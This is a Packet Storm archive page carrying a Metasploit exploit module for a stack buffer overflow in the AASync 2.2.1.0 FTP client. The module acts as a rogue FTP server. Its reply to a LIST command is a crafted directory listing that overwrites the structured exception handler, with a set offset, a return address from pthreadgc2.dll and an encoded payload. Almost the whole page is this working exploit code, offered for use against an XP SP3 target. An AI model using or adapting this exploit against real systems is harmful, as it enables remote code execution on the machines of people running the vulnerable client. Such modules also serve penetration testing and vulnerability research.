exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

AASync v2.2.1.0 (Win32) Stack Buffer Overflow (LIST)

AASync v2.2.1.0 (Win32) Stack Buffer Overflow (LIST)
Posted Oct 13, 2010
Authored by corelanc0d3r | Site metasploit.com

This Metasploit module exploits a stack buffer overflow in AASync v2.2.1.0, triggered when processing the response on a LIST command. During the overflow, a structured exception handler record gets overwritten.

tags | exploit, overflow
SHA-256 | 8b62f6ce5d0c462f21a4d8c332b770f40f0683dc9cebbc9d6a3825b998832d01

AASync v2.2.1.0 (Win32) Stack Buffer Overflow (LIST)

Change Mirror Download
##
# $Id: aasync_list_reply.rb 10660 2010-10-12 18:39:21Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::FtpServer

def initialize(info = {})
super(update_info(info,
'Name' => 'AASync v2.2.1.0 (Win32) Stack Buffer Overflow (LIST)',
'Description' => %q{
This module exploits a stack buffer overflow in AASync v2.2.1.0, triggered when
processing the response on a LIST command. During the overflow, a structured exception
handler record gets overwritten.
},
'Author' =>
[
'corelanc0d3r', #found bug and wrote the exploit
],
'License' => MSF_LICENSE,
'Version' => "$Revision: 10660 $",
'References' =>
[
[ 'URL', 'http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'BadChars' => "\x00\xff\x0d\x5c\x2f\x0a",
},
'Platform' => 'win',
'Targets' =>
[
[ 'XP SP3 Universal', { 'Offset' => 6340,'Ret' => 0x61181674 } ], # ppr [pthreadgc2.dll]
],
'Privileged' => false,
'DisclosureDate' => 'Oct 12 2010',
'DefaultTarget' => 0))

end

#---------------------------------------------------------------------------------

def setup
super
end

def on_client_unknown_command(c,cmd,arg)
c.put("200 OK\r\n")
end

def on_client_command_list(c,arg)
conn = establish_data_connection(c)
if(not conn)
c.put("425 Can't build data connection\r\n")
return
end
print_status(" - Data connection set up")
code = 150
c.put("#{code} Here comes the directory listing.\r\n")
code = 226
c.put("#{code} Directory send ok.\r\n")
offset_to_nseh = target['Offset']
filename = "admin passwords.txt"
padding = " " * (offset_to_nseh-filename.length)
nseh = "\xeb\x0c\x41\x41"
seh = [target.ret].pack('V') #\x74\x16 = jump
nops = "A" * 30
junk2 = "A" * 5000
#dual offsets to seh
buffer = filename + padding + nseh + seh + seh + nops + payload.encoded + junk2
print_status(" - Sending directory list via data connection")
dirlist = "-rw-rw-r-- 1 1176 1176 1060 Aug 16 22:22 #{buffer}\r\n"
conn.put(dirlist)
conn.close
print_status(" - Payload sent")
return
end

end

Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close